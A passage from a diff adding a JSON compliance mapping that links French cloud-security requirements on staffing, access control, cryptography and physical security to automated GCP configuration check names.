Organisation de la securite de l'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit identifier les risques associes a des cumuls de responsabilites ou de taches, les prendre en compte dans l'appreciation des risques et mettre en oeuvre des mesures de reduction de ces risques." + } + ], + "Checks": [] + }, + { + "Id": "6.3", + "Description": "Le prestataire doit etablir et maintenir des relations appropriees avec les autorites competentes.", + "Name": "Relations avec les autorites", + "Attributes": [ + { + "Section": "6. Organisation de la securite de l'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Il est recommande que le prestataire mette en place des relations appropriees avec les autorites competentes en matiere de securite de l'information et de donnees a caractere personnel et, le cas echeant, avec les autorites sectorielles selon la nature des informations confiees par le commanditaire au prestataire." + } + ], + "Checks": [] + }, + { + "Id": "6.4", + "Description": "Le prestataire doit etablir et maintenir des relations appropriees avec des groupes de travail specialises, des associations professionnelles ou des forums traitant de la securite.", + "Name": "Relations avec les groupes de travail specialises", + "Attributes": [ + { + "Section": "6. Organisation de la securite de l'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Il est recommande que le prestataire entretienne des contacts appropries avec des groupes de specialistes ou des sources reconnues, notamment pour prendre en compte de nouvelles menaces et les mesures de securite appropriees pour les contrer." + } + ], + "Checks": [] + }, + { + "Id": "6.5", + "Description": "Le prestataire doit integrer la securite de l'information dans la gestion de projet, quel que soit le type de projet.", + "Name": "La securite de l'information dans la gestion de projet", + "Attributes": [ + { + "Section": "6. Organisation de la securite de l'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter une estimation des risques prealablement a tout projet pouvant avoir un impact sur le service, et ce quelle que soit la nature du projet. b) Dans la mesure ou un projet affecte ou est susceptible d'affecter le niveau de securite du service, le prestataire doit avertir le commanditaire et l'informer par ecrit des impacts potentiels, des mesures mises en place pour reduire ces impacts ainsi que des risques residuels le concernant." + } + ], + "Checks": [] + }, + { + "Id": "7.1", + "Description": "Le prestataire doit s'assurer que les candidats a l'embauche font l'objet de verifications proportionnees aux exigences metier, a la classification des informations accessibles et aux risques identifies.", + "Name": "Selection des candidats", + "Attributes": [ + { + "Section": "7. Securite des ressources humaines", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure de verification des informations concernant son personnel conforme aux lois et reglements en vigueur. Ces verifications s'appliquent a toute personne impliquee dans la fourniture du service et doivent etre proportionnelles a la sensibilite ou a la specificite des informations du commanditaire confiees au prestataire ainsi qu'aux risques identifies. b) Pour les personnels disposant de privileges d'administration eleves sur les composants logiciels et materiels de l'infrastructure, le prestataire doit renforcer les verifications destinees a verifier que les antecedents de ceux-ci ne sont pas incompatibles avec l'exercice de leurs fonctions. Il est entendu par des privileges d'administration eleves, des actions permettant l'elevation de privileges ou la possibilite de realiser des actions sans traces techniques ou de desactiver, alterer les traces techniques." + } + ], + "Checks": [] + }, + { + "Id": "7.2", + "Description": "Les accords contractuels avec les salaries et les sous-traitants doivent preciser leurs responsabilites et celles du prestataire en matiere de securite de l'information.", + "Name": "Conditions d'embauche", + "Attributes": [ + { + "Section": "7. Securite des ressources humaines", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit disposer d'une charte d'ethique integree au reglement interieur, prevoyant notamment que : les prestations sont realisees avec loyaute, discretion et impartialite et dans des conditions de confidentialite des informations traitees ; les personnels ne recourent qu'aux methodes, outils et techniques valides par le prestataire ; les personnels s'engagent a ne pas divulguer d'informations a un tiers, meme anonymisees et decontextualisees, obtenues ou generees dans le cadre de la prestation sauf autorisation formelle et ecrite du commanditaire ; les personnels s'engagent a signaler au prestataire tout contenu manifestement illicite decouvert pendant la prestation ; les personnels s'engagent a respecter la legislation et la reglementation nationale en vigueur et les bonnes pratiques liees a leurs activites. b) Le prestataire doit faire signer la charte d'ethique a l'ensemble des personnes impliquees dans la fourniture du service. c) Le prestataire doit introduire, dans le contrat de travail des personnels disposant de privileges d'administration eleves sur les composants et materiels de l'infrastructure du service, un engagement de responsabilite avec un renvoi aux clauses du code du travail sur la protection du secret des affaires et de la propriete intellectuelle. Il est entendu par des privileges d'administration eleves, des actions permettant l'elevation de privileges ou la possibilite de realiser des actions sans traces techniques ou de desactiver, alterer les traces techniques. d) Le prestataire doit, sur demande d'un commanditaire, lui rendre accessible le reglement interieur et la charte d'ethique." + } + ], + "Checks": [] + }, + { + "Id": "7.3", + "Description": "Les salaries du prestataire et, le cas echeant, les sous-traitants doivent suivre un programme de sensibilisation et de formation adapte et regulier concernant la securite de l'information.", + "Name": "Sensibilisation, apprentissage et formations a la securite de l'information", + "Attributes": [ + { + "Section": "7. Securite des ressources humaines", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit sensibiliser a la securite de l'information et aux risques lies a la protection des donnees l'ensemble des personnes impliquees dans la fourniture du service. Il doit leur communiquer les mises a jour des politiques et procedures pertinentes dans le cadre de leurs missions. b) Le prestataire doit documenter et mettre en oeuvre un plan de formation concernant la securite de l'information adapte au service et aux missions des personnels. c) Le responsable de la securite des systemes d'information du prestataire doit valider formellement le plan de formation concernant la securite de l'information." + } + ], + "Checks": [] + }, + { + "Id": "7.4", + "Description": "Le prestataire doit mettre en place un processus disciplinaire formel et communique pour prendre des mesures a l'encontre des salaries ayant enfreint les regles de securite de l'information.", + "Name": "Processus disciplinaire", + "Attributes": [ + { + "Section": "7. Securite des ressources humaines", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre un processus disciplinaire applicable a l'ensemble des personnes impliquees dans la fourniture du service ayant enfreint la politique de securite. b) Le prestataire doit, sur demande d'un commanditaire, lui rendre accessible les sanctions encourues en cas d'infraction a la politique de securite." + } + ], + "Checks": [] + }, + { + "Id": "7.5", + "Description": "Les responsabilites et les obligations en matiere de securite de l'information qui restent valables apres un changement ou une rupture du contrat de travail doivent etre definies, communiquees au salarie ou au sous-traitant et appliquees.", + "Name": "Rupture, terme ou modification du contrat de travail", + "Attributes": [ + { + "Section": "7. Securite des ressources humaines", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit definir et attribuer les roles et les responsabilites relatives a la rupture, au terme ou a la modification de tout contrat avec une personne impliquee dans la fourniture du service." + } + ], + "Checks": [] + }, + { + "Id": "8.1", + "Description": "Le prestataire doit identifier les actifs associes a l'information et aux moyens de traitement de l'information et doit etablir et tenir a jour un inventaire de ces actifs.", + "Name": "Inventaire et propriete des actifs", + "Attributes": [ + { + "Section": "8. Gestion des actifs", + "Service": "iam", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit tenir a jour l'inventaire de l'ensemble des equipements mettant en oeuvre le service. Cet inventaire doit preciser pour chaque equipement : les informations d'identification de l'equipement (noms, adresses IP, adresses MAC, etc.) ; la fonction de l'equipement ; le modele de l'equipement ; la localisation de l'equipement ; le proprietaire de l'equipement ; le besoin de securite des informations (au sens du chapitre 8.3). b) Le prestataire doit tenir a jour l'inventaire de l'ensemble des logiciels mettant en oeuvre le service. Cet inventaire doit identifier pour chaque logiciel, sa version et les equipements sur lesquels le logiciel est installe. c) Le prestataire doit s'assurer de la validite des licences des logiciels tout au long de la prestation." + } + ], + "Checks": [ + "iam_cloud_asset_inventory_enabled" + ] + }, + { + "Id": "8.2", + "Description": "Les salaries et les utilisateurs de tiers doivent restituer tous les actifs du prestataire en leur possession au terme de la periode d'emploi, du contrat ou de l'accord.", + "Name": "Restitution des actifs", + "Attributes": [ + { + "Section": "8. Gestion des actifs", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure de restitution des actifs permettant de s'assurer que chaque personne impliquee dans la fourniture du service restitue l'ensemble des actifs en sa possession a la fin de sa periode d'emploi ou de son contrat." + } + ], + "Checks": [] + }, + { + "Id": "8.3", + "Description": "Les besoins de protection de la confidentialite, de l'integrite et de la disponibilite de l'information doivent etre identifies.", + "Name": "Identification des besoins de securite de l'information", + "Attributes": [ + { + "Section": "8. Gestion des actifs", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit identifier les differents besoins de securite des informations relatives au service. b) Lorsque le commanditaire confie au prestataire des donnees soumises a des contraintes legales, reglementaires ou sectorielles specifiques, le prestataire doit identifier les besoins de securite specifiques associes a ces contraintes." + } + ], + "Checks": [] + }, + { + "Id": "8.4", + "Description": "Un ensemble de procedures appropriees pour le marquage et la manipulation de l'information doit etre elabore et mis en oeuvre conformement au plan de classification adopte par le prestataire.", + "Name": "Marquage et manipulation de l'information", + "Attributes": [ + { + "Section": "8. Gestion des actifs", + "Service": "general", + "Type": "Manual", + "Comment": "a) Il est recommande que le prestataire documente et mette en oeuvre une procedure pour le marquage et la manipulation de toutes les informations participant a la delivrance du service, conformement a son besoin de securite defini au chapitre 8.3." + } + ], + "Checks": [] + }, + { + "Id": "8.5", + "Description": "Des procedures de gestion des supports amovibles doivent etre mises en oeuvre conformement au plan de classification adopte par le prestataire.", + "Name": "Gestion des supports amovibles", + "Attributes": [ + { + "Section": "8. Gestion des actifs", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure pour la gestion des supports amovibles, conformement au besoin de securite defini au chapitre 8.3. Lorsque des supports amovibles sont utilises sur l'infrastructure technique ou pour des taches d'administration, ces supports doivent etre dedies a un usage." + } + ], + "Checks": [] + }, + { + "Id": "9.1", + "Description": "Une politique de controle d'acces doit etre etablie, documentee et revue en se basant sur les exigences metier et les exigences de securite de l'information. Les regles de controle d'acces et les droits pour chaque utilisateur ou groupe d'utilisateurs doivent etre clairement definis.", + "Name": "Politiques et controle d'acces", + "Attributes": [ + { + "Section": "9. Controle d'acces et gestion des identites", + "Service": "iam", + "Type": "Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une politique de controle d'acces sur la base du resultat de son appreciation des risques et du partage des responsabilites. b) Le prestataire doit reviser annuellement la politique de controle d'acces et a chaque changement majeur pouvant avoir un impact sur le service." + } + ], + "Checks": [ + "iam_sa_no_administrative_privileges", + "iam_no_service_roles_at_project_level", + "iam_role_sa_enforce_separation_of_duties" + ] + }, + { + "Id": "9.2", + "Description": "Un processus formel d'enregistrement et de desinscription des utilisateurs doit etre mis en oeuvre pour permettre l'attribution des droits d'acces.", + "Name": "Enregistrement et desinscription des utilisateurs", + "Attributes": [ + { + "Section": "9. Controle d'acces et gestion des identites", + "Service": "iam", + "Type": "Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure d'enregistrement et de desinscription des utilisateurs s'appuyant sur une interface de gestion des comptes et des droits d'acces. Cette procedure doit indiquer quelles donnees doivent etre supprimees au depart d'un utilisateur. b) Le prestataire doit attribuer des comptes nominatifs lors de l'enregistrement des utilisateurs places sous sa responsabilite. c) Le prestataire doit mettre en oeuvre des moyens permettant de s'assurer que la desinscription d'un utilisateur entraine la suppression de tous ses acces aux ressources du systeme d'information du service, ainsi que la suppression de ses donnees conformement a la procedure d'enregistrement et de desinscription (voir exigence 9.2 a))." + } + ], + "Checks": [ + "iam_sa_user_managed_key_unused", + "iam_service_account_unused" + ] + }, + { + "Id": "9.3", + "Description": "Un processus formel de gestion des droits d'acces doit etre mis en oeuvre pour controler l'attribution des droits d'acces a tous les types d'utilisateurs et a tous les systemes et services.", + "Name": "Gestion des droits d'acces", + "Attributes": [ + { + "Section": "9. Controle d'acces et gestion des identites", + "Service": "iam", + "Type": "Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant d'assurer l'attribution, la modification et le retrait de droits d'acces aux ressources du systeme d'information du service. b) Le prestataire doit mettre a la disposition de ses commanditaires les outils et les moyens qui permettent une differenciation des roles des utilisateurs du service, par exemple suivant leur role fonctionnel. c) Le prestataire doit tenir a jour l'inventaire des utilisateurs sous sa responsabilite disposant de droits d'administration sur les ressources du systeme d'information du service. d) Le prestataire doit etre en mesure de fournir, pour une ressource donnee mettant en oeuvre le service, la liste de tous les utilisateurs y ayant acces, qu'ils soient sous la responsabilite du prestataire ou du commanditaire ainsi que les droits d'acces qui leurs ont ete attribues. e) Le prestataire doit etre en mesure de fournir, pour un utilisateur donne, qu'ils soient sous la responsabilite du prestataire ou du commanditaire, la liste de tous ses droits d'acces sur les differents elements du systeme d'information du service. f) Le prestataire doit definir une liste de droits d'acces incompatibles entre eux. Il doit s'assurer, lors de l'attribution de droits d'acces a un utilisateur qu'il ne possede pas de droits d'acces incompatibles entre eux au titre de la liste precedemment etablie. g) Le prestataire doit inclure dans la procedure de gestion des droits d'acces les actions de revocation ou de suspension des droits de tout utilisateur." + } + ], + "Checks": [ + "iam_sa_no_administrative_privileges", + "iam_no_service_roles_at_project_level", + "iam_role_sa_enforce_separation_of_duties", + "iam_role_kms_enforce_separation_of_duties" + ] + }, + { + "Id": "9.4", + "Description": "Les proprietaires d'actifs doivent verifier les droits d'acces des utilisateurs a intervalles reguliers.", + "Name": "Revue des droits d'acces utilisateurs", + "Attributes": [ + { + "Section": "9. Controle d'acces et gestion des identites", + "Service": "iam", + "Type": "Automated", + "Comment": "a) Le prestataire doit reviser annuellement les droits d'acces des utilisateurs sur son perimetre de responsabilite. b) Le prestataire doit mettre a disposition du commanditaire un outil facilitant la revue des droits d'acces des utilisateurs places sous la responsabilite de ce dernier. c) Le prestataire doit reviser trimestriellement la liste des utilisateurs sur son perimetre de responsabilite pouvant utiliser les comptes techniques mentionnes dans l'exigence 9.2 b)." + } + ], + "Checks": [ + "iam_sa_user_managed_key_rotate_90_days", + "iam_sa_user_managed_key_unused", + "iam_service_account_unused" + ] + }, + { + "Id": "9.5", + "Description": "L'attribution et l'utilisation des informations secretes d'authentification doivent etre gerees dans le cadre d'un processus de gestion formel incluant une politique de mot de passe robuste et l'utilisation de l'authentification multi-facteur.", + "Name": "Gestion des authentifications des utilisateurs", + "Attributes": [ + { + "Section": "9. Controle d'acces et gestion des identites", + "Service": "compute", + "Type": "Automated", + "Comment": "a) Le prestataire doit formaliser et mettre en oeuvre des procedures de gestion de l'authentification des utilisateurs. En accord avec les exigences du chapitre 10, celles-ci doivent notamment porter sur : la gestion des moyens d'authentification (emission et reinitialisation de mot de passe, mise a jour des CRL et import des certificats racines en cas d'utilisation de certificats, etc.) ; la mise en place des moyens permettant une authentification a multiples facteurs afin de repondre aux differents cas d'usage du referentiel ; les systemes qui generent des mots de passe ou verifient leur robustesse, lorsqu'une authentification par mot de passe est utilisee. Ils doivent suivre les recommandations de [G_AUTH]. b) Tout mecanisme d'authentification doit prevoir le blocage d'un compte apres un nombre limite de tentatives infructueuses. c) Dans le cadre d'un service SaaS, le prestataire doit proposer a ses commanditaires des moyens d'authentification a multiples facteurs pour l'acces des utilisateurs finaux. d) Lorsque des comptes techniques, non nominatifs, sont necessaires, le prestataire doit mettre en place des mesures obligeant les utilisateurs a s'authentifier avec leur compte nominatif avant de pouvoir acceder a ces comptes techniques." + } + ], + "Checks": [ + "compute_project_os_login_enabled", + "compute_project_os_login_2fa_enabled", + "apikeys_key_rotated_in_90_days" + ] + }, + { + "Id": "9.6", + "Description": "L'acces aux interfaces d'administration du service cloud doit etre restreint et protege par des mecanismes d'authentification forte, incluant l'utilisation de dispositifs MFA materiels pour les comptes a privileges.", + "Name": "Acces aux interfaces d'administration", + "Attributes": [ + { + "Section": "9. Controle d'acces et gestion des identites", + "Service": "compute", + "Type": "Automated", + "Comment": "a) Les comptes d'administration sous la responsabilite du prestataire doivent etre geres a l'aide d'outils et d'annuaires distincts de ceux utilises pour la gestion des comptes utilisateurs places sous la responsabilite du commanditaire. b) Les interfaces d'administration mises a disposition des commanditaires doivent etre distinctes des interfaces d'administration utilisees par le prestataire. c) Les interfaces d'administration mises a disposition des commanditaires ne doivent permettre aucune connexion avec des comptes d'administrateurs sous la responsabilite du prestataire. d) Les interfaces d'administration utilisees par le prestataire ne doivent pas etre accessibles a partir d'un reseau public et ainsi ne doivent permettre aucune connexion des utilisateurs sous la responsabilite du commanditaire. e) Si des interfaces d'administration sont mises a disposition des commanditaires avec un acces via un reseau public, les flux d'administration doivent etre authentifies et chiffres avec des moyens en accord avec les exigences du chapitre 10.2. f) Le prestataire doit mettre en place un systeme d'authentification multifacteur fort pour l'acces : aux interfaces d'administration utilisees par le prestataire ; aux interfaces d'administration dediees aux commanditaires. g) Dans le cadre d'un service SaaS, les interfaces d'administration mises a disposition des commanditaires doivent etre differenciees des interfaces permettant l'acces des utilisateurs finaux. h) Des lors qu'une interface d'administration est accessible depuis un reseau public, le processus d'authentification doit avoir lieu avant toute interaction entre l'utilisateur et l'interface en question. i) Lorsque le prestataire utilise un service de type IaaS comme socle d'un autre type de service (CaaS, PaaS ou SaaS), les ressources affectees a l'usage du prestataire ne doivent en aucun cas etre accessibles via l'interface publique mise a disposition des autres commanditaires du service IaaS. j) Lorsque le prestataire utilise un service de type CaaS comme socle d'un autre type de service (PaaS ou SaaS), les ressources affectees a l'usage du prestataire ne doivent en aucun cas etre accessibles via l'interface publique mise a disposition des autres commanditaires du service CaaS. k) Lorsque le prestataire utilise un service de type PaaS comme socle d'un autre type de service (typiquement SaaS), les ressources affectees a l'usage du prestataire ne doivent en aucun cas etre accessibles via l'interface publique mise a disposition des autres commanditaires du service PaaS." + } + ], + "Checks": [ + "compute_project_os_login_2fa_enabled", + "compute_instance_default_service_account_in_use", + "compute_instance_default_service_account_in_use_with_full_api_access", + "compute_firewall_rdp_access_from_the_internet_allowed", + "compute_firewall_ssh_access_from_the_internet_allowed", + "compute_instance_block_project_wide_ssh_keys_disabled", + "iam_account_access_approval_enabled", + "gke_cluster_no_default_service_account" + ] + }, + { + "Id": "9.7", + "Description": "L'acces a l'information et aux fonctions d'application des systemes doit etre restreint conformement a la politique de controle d'acces. Les ressources doivent etre protegees contre tout acces public non autorise.", + "Name": "Restriction des acces a l'information", + "Attributes": [ + { + "Section": "9. Controle d'acces et gestion des identites", + "Service": "compute", + "Type": "Automated", + "Comment": "a) Le prestataire doit mettre en oeuvre des mesures de cloisonnement appropriees entre ses commanditaires. b) Le prestataire doit mettre en oeuvre des mesures de cloisonnement appropriees entre le systeme d'information du service et ses autres systemes d'information (bureautique, informatique de gestion, gestion technique du batiment, controle d'acces physique, etc.). c) Le prestataire doit concevoir, developper, configurer et deployer le systeme d'information du service en assurant au moins un cloisonnement entre d'une part l'infrastructure technique et d'autre part les equipements necessaires a l'administration des services et des ressources qu'elle heberge. d) Dans le cadre du support technique, si les actions necessaires au diagnostic et a la resolution d'un probleme rencontre par un commanditaire necessitent un acces aux donnees du commanditaire, alors le prestataire doit : n'autoriser l'acces aux donnees du commanditaire qu'apres consentement explicite du commanditaire ; verifier que la personne a qui l'acces doit etre autorise a satisfait aux verifications de l'exigence 7.1.b ; dans le cas d'une intervention realisee a distance par une personne localisee hors de l'Union Europeenne, mettre en oeuvre une passerelle securisee (poste de rebond) par laquelle la personne devra se connecter et permettant une supervision (autorisation ou interdiction des actions, demandes d'explications, etc.) en temps reel, par une personne ayant elle-meme satisfait aux verifications de l'exigence 7.1.b ; considerer les actions menees, une fois l'acces autorise, comme des actions d'administration et les journaliser comme telles ; supprimer l'autorisation d'acces aux donnees du commanditaire au terme de ces actions." + } + ], + "Checks": [ + "compute_network_default_in_use", + "compute_instance_public_ip", + "cloudstorage_bucket_public_access", + "cloudstorage_bucket_uniform_bucket_level_access", + "cloudsql_instance_public_access", + "cloudsql_instance_public_ip", + "cloudsql_instance_private_ip_assignment", + "bigquery_dataset_public_access", + "kms_key_not_publicly_accessible", + "compute_image_not_publicly_shared" + ] + }, + { + "Id": "10.1", + "Description": "Les donnees stockees dans le cadre du service cloud doivent etre chiffrees au repos en utilisant des algorithmes et des longueurs de cle conformes a l'etat de l'art.", + "Name": "Chiffrement des donnees stockees", + "Attributes": [ + { + "Section": "10. Cryptologie", + "Service": "compute", + "Type": "Automated", + "Comment": "a) Le prestataire doit definir et mettre en oeuvre un mecanisme de chiffrement empechant la recuperation des donnees des commanditaires en cas de reallocation d'une ressource ou de recuperation du support physique. Dans le cas d'un service IaaS ou CaaS, cet objectif pourra par exemple etre atteint par un chiffrement du disque ou du systeme de fichier, lorsque le protocole d'acces en mode fichiers garantit que seuls des blocs vides peuvent etre alloues, ou par un chiffrement par volume dans le cas d'un acces en mode bloc, avec au moins une cle par commanditaire. Dans le cas d'un service PaaS ou SaaS, cet objectif pourra etre atteint en utilisant un chiffrement applicatif dans le perimetre du prestataire, avec au moins une cle par commanditaire. b) Le prestataire doit utiliser une methode de chiffrement des donnees respectant les regles de [CRYPTO_B1]. c) Il est recommande d'utiliser une methode de chiffrement des donnees respectant les recommandations de [CRYPTO_B1]. d) Le prestataire doit mettre en place un chiffrement des donnees sur les supports amovibles et les supports de sauvegarde amenes a quitter le perimetre de securite physique du systeme d'information du service (au sens du chapitre 10), en fonction du besoin de securite des donnees (voir chapitre 8.3)." + } + ], + "Checks": [ + "compute_instance_encryption_with_csek_enabled", + "bigquery_dataset_cmk_encryption", + "bigquery_table_cmk_encryption", + "dataproc_encrypted_with_cmks_disabled" + ] + }, + { + "Id": "10.2", + "Description": "Les flux de donnees entre les composants du service cloud et entre le service et les commanditaires doivent etre chiffres en transit en utilisant des protocoles et des algorithmes conformes a l'etat de l'art.", + "Name": "Chiffrement des flux", + "Attributes": [ + { + "Section": "10. Cryptologie", + "Service": "cloudsql", + "Type": "Partially Automated", + "Comment": "a) Lorsque le prestataire met en oeuvre un mecanisme de chiffrement des flux reseau, celui-ci doit respecter les regles de [CRYPTO_B1]. b) Lorsque le prestataire met en oeuvre un mecanisme de chiffrement des flux reseau, il est recommande que celui-ci respecte les recommandations de [CRYPTO_B1]. c) Si le protocole TLS est mis en oeuvre, le prestataire doit appliquer les recommandations de [NT_TLS]. d) Si le protocole IPsec est mis en oeuvre, le prestataire doit appliquer les recommandations de [NT_IPSEC]. e) Si le protocole SSH est mis en oeuvre, le prestataire doit appliquer les recommandations de [NT_SSH]." + } + ], + "Checks": [ + "cloudsql_instance_ssl_connections" + ] + }, + { + "Id": "10.3", + "Description": "Les mots de passe doivent etre stockes sous forme hachee en utilisant des algorithmes robustes conformes a l'etat de l'art et les politiques de mot de passe doivent imposer des exigences de complexite adequates.", + "Name": "Hachage des mots de passe", + "Attributes": [ + { + "Section": "10. Cryptologie", + "Service": "iam", + "Type": "Manual", + "Comment": "a) Le prestataire ne doit stocker que l'empreinte des mots de passe des utilisateurs et des comptes techniques. b) Le prestataire doit mettre en oeuvre une fonction de hachage respectant les regles de [CRYPTO_B1]. c) Il est recommande que le prestataire mette en oeuvre une fonction de hachage respectant les recommandations de [CRYPTO_B1]. d) Le prestataire doit generer les empreintes des mots de passe avec une fonction de hachage associee a l'utilisation d'un sel cryptographique respectant les regles de [CRYPTO_B1]." + } + ], + "Checks": [] + }, + { + "Id": "10.4", + "Description": "Des mecanismes de non-repudiation doivent etre mis en oeuvre pour assurer la tracabilite des actions effectuees sur le service cloud, incluant la validation de l'integrite des journaux.", + "Name": "Non repudiation", + "Attributes": [ + { + "Section": "10. Cryptologie", + "Service": "cloudstorage", + "Type": "Partially Automated", + "Comment": "a) Lorsque le prestataire met en oeuvre un mecanisme de signature electronique, celui-ci doit respecter les regles de [CRYPTO_B1]. b) Lorsque le prestataire met en oeuvre un mecanisme de signature electronique, il est recommande que celui-ci respecte les recommandations de [CRYPTO_B1]." + } + ], + "Checks": [ + "cloudstorage_bucket_log_retention_policy_lock" + ] + }, + { + "Id": "10.5", + "Description": "Les secrets cryptographiques (cles, certificats, mots de passe) doivent etre geres de maniere securisee tout au long de leur cycle de vie, incluant la generation, le stockage, la distribution, la rotation et la destruction.", + "Name": "Gestion des secrets", + "Attributes": [ + { + "Section": "10. Cryptologie", + "Service": "kms", + "Type": "Automated", + "Comment": "a) Le prestataire doit mettre en oeuvre des cles cryptographiques respectant les regles de [CRYPTO_B2]. b) Il est recommande que le prestataire mette en oeuvre des cles cryptographiques respectant les recommandations de [CRYPTO_B2]. c) Le prestataire doit proteger l'acces aux cles cryptographiques et autres secrets utilises pour le chiffrement des donnees par un moyen adapte : conteneur de securite (logiciel ou materiel) ou support disjoint. d) Le prestataire doit proteger l'acces aux cles cryptographiques et autres secrets utilises pour les taches d'administration par un conteneur de securite adapte, logiciel ou materiel." + } + ], + "Checks": [ + "kms_key_rotation_enabled", + "kms_key_not_publicly_accessible", + "iam_sa_no_user_managed_keys", + "iam_sa_user_managed_key_rotate_90_days", + "iam_sa_user_managed_key_unused", + "apikeys_key_rotated_in_90_days", + "apikeys_api_restrictions_configured" + ] + }, + { + "Id": "10.6", + "Description": "Les racines de confiance (certificats racine, autorites de certification) utilisees dans le cadre du service cloud doivent etre gerees de maniere securisee. Les certificats doivent etre valides et utiliser des algorithmes de cle robustes.", + "Name": "Racines de confiance", + "Attributes": [ + { + "Section": "10. Cryptologie", + "Service": "dns", + "Type": "Partially Automated", + "Comment": "a) Sur l'infrastructure technique, le prestataire doit utiliser exclusivement des certificats de cle publique issus d'une autorite de certification d'un Etat membre de l'Union Europeenne (les ceremonies de generation des cles maitresses doivent avoir lieu dans un pays membre de l'Union Europeenne et en presence du prestataire)." + } + ], + "Checks": [ + "dns_rsasha1_in_use_to_key_sign_in_dnssec", + "dns_rsasha1_in_use_to_zone_sign_in_dnssec" + ] + }, + { + "Id": "11.1", + "Description": "Des perimetres de securite doivent etre definis et utilises pour proteger les zones contenant des informations sensibles ou critiques et les moyens de traitement de l'information.", + "Name": "Perimetres de securite physique", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre des perimetres de securite, incluant le marquage des zones et les differents moyens de limitation et de controle des acces. b) Le prestataire doit distinguer des zones publiques, des zones privees et des zones sensibles. 11.1.1. Zones publiques : a) Les zones publiques sont accessibles a tous dans les limites de la propriete du prestataire. Le prestataire ne doit heberger aucune ressource devolue au service ou permettant d'acceder a des composantes de celui-ci dans les zones publiques. 11.1.2. Zones privees : a) Les zones privees peuvent heberger : les plateformes et moyens de developpement du service ; les postes d'administration, d'exploitation et de supervision ; les locaux a partir desquels le prestataire opere. 11.1.3. Zones sensibles : a) Les zones sensibles sont reservees a l'hebergement du systeme d'information de production du service hors postes d'administration, d'exploitation et de supervision." + } + ], + "Checks": [] + }, + { + "Id": "11.2", + "Description": "Les zones securisees doivent etre protegees par des controles d'acces physiques adequats pour s'assurer que seul le personnel autorise est admis.", + "Name": "Controle d'acces physique", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "11.2.1. Zones privees : a) Le prestataire doit proteger les zones privees contre les acces non autorises. Pour ce faire, il doit mettre en oeuvre un controle d'acces physique reposant au moins sur un facteur personnel : la connaissance d'un secret, la detention d'un objet ou la biometrie. b) Il est recommande que le prestataire respecte les recommandations de [G_CVAP] pour mettre en oeuvre du controle d'acces physique. c) Le prestataire doit definir et documenter des mesures d'acces physique derogatoires en cas d'urgence. d) Le prestataire doit afficher a l'entree des zones privees un avertissement relatif aux limites et conditions d'acces a ces zones. e) Le prestataire doit definir et documenter les plages horaires et conditions d'acces aux zones privees en fonction des profils des intervenants. f) Le prestataire doit documenter et mettre en oeuvre les moyens permettant de s'assurer que les visiteurs sont systematiquement accompagnes par le prestataire lors de leurs acces et sejours en zone privee. Le prestataire doit conserver une trace de l'identite des visiteurs conformement a la legislation et reglementation en vigueur. g) En cas d'intervention (actions de diagnostic, de maintenance, ou d'administration) en zone privee par un tiers visiteur, le prestataire doit faire superviser (suivre, autoriser, interdire, questionner) les actions par un personnel ayant satisfait aux verifications de l'exigence 7.1.b. h) Le prestataire doit documenter et mettre en oeuvre des mecanismes de surveillance et de detection des acces non autorises aux zones privees. 11.2.2. Zones sensibles : a) Le prestataire doit proteger les zones sensibles contre les acces non autorises. Pour ce faire, il doit mettre en oeuvre un controle d'acces physique reposant au moins sur deux facteurs personnels : la connaissance d'un secret, la detention d'un objet ou la biometrie. b) Il est recommande que le prestataire respecte les recommandations de [G_CVAP] pour la mise en oeuvre du controle d'acces physique. c) Le prestataire doit definir et documenter des mesures d'acces physique derogatoires en cas d'urgence. d) Le prestataire doit afficher a l'entree des zones sensibles un avertissement relatif aux limites et conditions d'acces a ces zones. e) Le prestataire doit definir et documenter les plages horaires et conditions d'acces aux zones sensibles en fonction des profils des intervenants. f) Le prestataire doit documenter et mettre en oeuvre les moyens permettant de s'assurer que les visiteurs sont systematiquement accompagnes par le prestataire lors de leurs acces et sejours en zone sensible. Le prestataire doit conserver une trace de l'identite des visiteurs conformement a la legislation et reglementation en vigueur. g) En cas d'intervention (actions de diagnostic, de maintenance, ou d'administration) en zone sensible par un tiers visiteur, le prestataire doit faire superviser (suivre, autoriser, interdire, questionner) les actions par un personnel ayant satisfait aux verifications de l'exigence 7.1.b. h) Le prestataire doit documenter et mettre en oeuvre des mecanismes de surveillance et de detection des acces non autorises aux zones sensibles. i) Le prestataire doit mettre en place une journalisation des acces physiques aux zones sensibles. Il doit effectuer une revue de ces journaux au moins mensuellement. j) Le prestataire doit mettre en oeuvre les moyens garantissant qu'aucun acces direct n'existe entre une zone publique et une zone sensible." + } + ], + "Checks": [] + }, + { + "Id": "11.3", + "Description": "Des mesures de protection contre les menaces exterieures et environnementales, telles que les catastrophes naturelles, les attaques malveillantes ou les accidents, doivent etre concues et appliquees.", + "Name": "Protection contre les menaces exterieures et environnementales", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre les moyens permettant de minimiser les risques inherents aux sinistres physiques (incendie, degat des eaux, etc.) et naturels (risques climatiques, inondations, seismes, etc.). b) Le prestataire doit documenter et mettre en oeuvre les 